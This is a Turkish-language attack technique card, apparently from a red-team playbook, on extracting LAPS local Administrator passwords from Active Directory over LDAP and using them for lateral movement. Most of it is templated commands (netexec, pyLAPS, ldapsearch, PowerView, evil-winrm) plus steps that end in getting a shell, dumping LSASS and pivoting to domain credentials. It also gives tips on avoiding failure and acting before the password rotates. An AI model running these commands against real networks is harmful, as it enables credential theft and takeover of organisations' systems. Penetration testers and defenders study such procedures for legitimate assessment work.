LAPS Parola Okuma (ms-Mcs-AdmPwd / msLAPS)
LAPS ile yonetilen makinelerin yerel Administrator parolasini, okuma yetkisi (ReadLAPSPassword/All Extended Rights) olan bir principal ile LDAP'tan cekip yatay harekette kullanma.
- ms-Mcs-AdmPwd (legacy LAPS) veya msLAPS-Password (Windows LAPS) niteliğini okuyabilen bir principal
- Hedef bilgisayar nesnesi uzerinde ReadLAPSPassword kenari (BloodHound ile dogrulanir)
- DC'ye LDAP erisimi
Komutlar
nxc ldap {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --laps nxc smb {{RHOST}} -u 'administrator' -p '{{PASS}}' --local-auth pyLAPS.py --action get -d {{DOMAIN}} -u '{{USER}}' -p '{{PASS}}' --dc-ip {{DC_IP}} laps.py -u '{{USER}}' -p '{{PASS}}' -d {{DOMAIN}} -l {{DC_IP}} ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC=corp,DC=local' '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd sAMAccountName ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC=corp,DC=local' '(msLAPS-EncryptedPassword=*)' msLAPS-Password sAMAccountName Get-DomainObject -Identity '{{RHOST}}' -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime evil-winrm -i {{RHOST}} -u administrator -p '{{PASS}}' Amac
LAPS (Local Administrator Password Solution), her makinenin yerel Administrator parolasini rastgele uretip AD’de bilgisayar nesnesi uzerinde bir nitelikte saklar. Okuma yetkisi olan bir principal ele gecirilirse, bu parola cekilerek ilgili host’a yerel admin olarak girilir — guclu bir yatay hareket primitifi.
Nitelik Adlari (Legacy vs Windows LAPS)
- Legacy LAPS (Microsoft LAPS):
ms-Mcs-AdmPwd(duz metin parola),ms-Mcs-AdmPwdExpirationTime. - Windows LAPS (2023+):
msLAPS-Password(duz metin, JSON) vemsLAPS-EncryptedPassword(DPAPI ile sifreli; cozme icin domain’de yetki gerekir). Hangi semanin kuruldugu degisir; ikisini de sorgula.
Yetki Nereden Gelir?
LAPS parolasini okuma hakki, bilgisayar nesnesi uzerindeki ReadLAPSPassword (All Extended Rights / belirli okuma izni) ile gelir. BloodHound bunu ReadLAPSPassword kenari olarak gosterir — once ad-bloodhound ile hangi makinelerde bu hakka sahip oldugunu dogrula.
Adimlar
- Yetki dogrula: BloodHound’da sahip olunan principal’dan
ReadLAPSPasswordkenarlarini cek. - Parolayi al:
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --laps— yetkili oldugun tum makineleri ve parolalari listeler. Tek makine icin ldapsearch filtresi(ms-Mcs-AdmPwd=*). - Dogrula:
nxc smb {{RHOST}} -u administrator -p '<laps-pass>' --local-authile(Pwn3d!)ciktisini bekle. - Shell al: evil-winrm veya impacket-psexec ile yerel admin oturumu; ardindan LSASS dump (ad-lsass) ile domain kimliklerine pivot.
Gotchalar
- Parola duz metin doner (legacy LAPS); hash kirma gerekmez.
--local-authBAYRAGINI unutma: LAPS parolasi yerel Administrator hesabinindir, domain hesabi degil. Bayraksiz dogrulama basarisiz olur.- Windows LAPS’te
msLAPS-EncryptedPassworddonuyorsa parola DPAPI ile sifrelidir; netexec/pyLAPS bunu cozmeyi dener ama cozum yetkisi (decrypt) ayri bir ACL gerektirir. - Parola periyodik olarak rotate olur (
ExpirationTime); cekilen parolanin TTL’i kisa olabilir, hizli hareket et.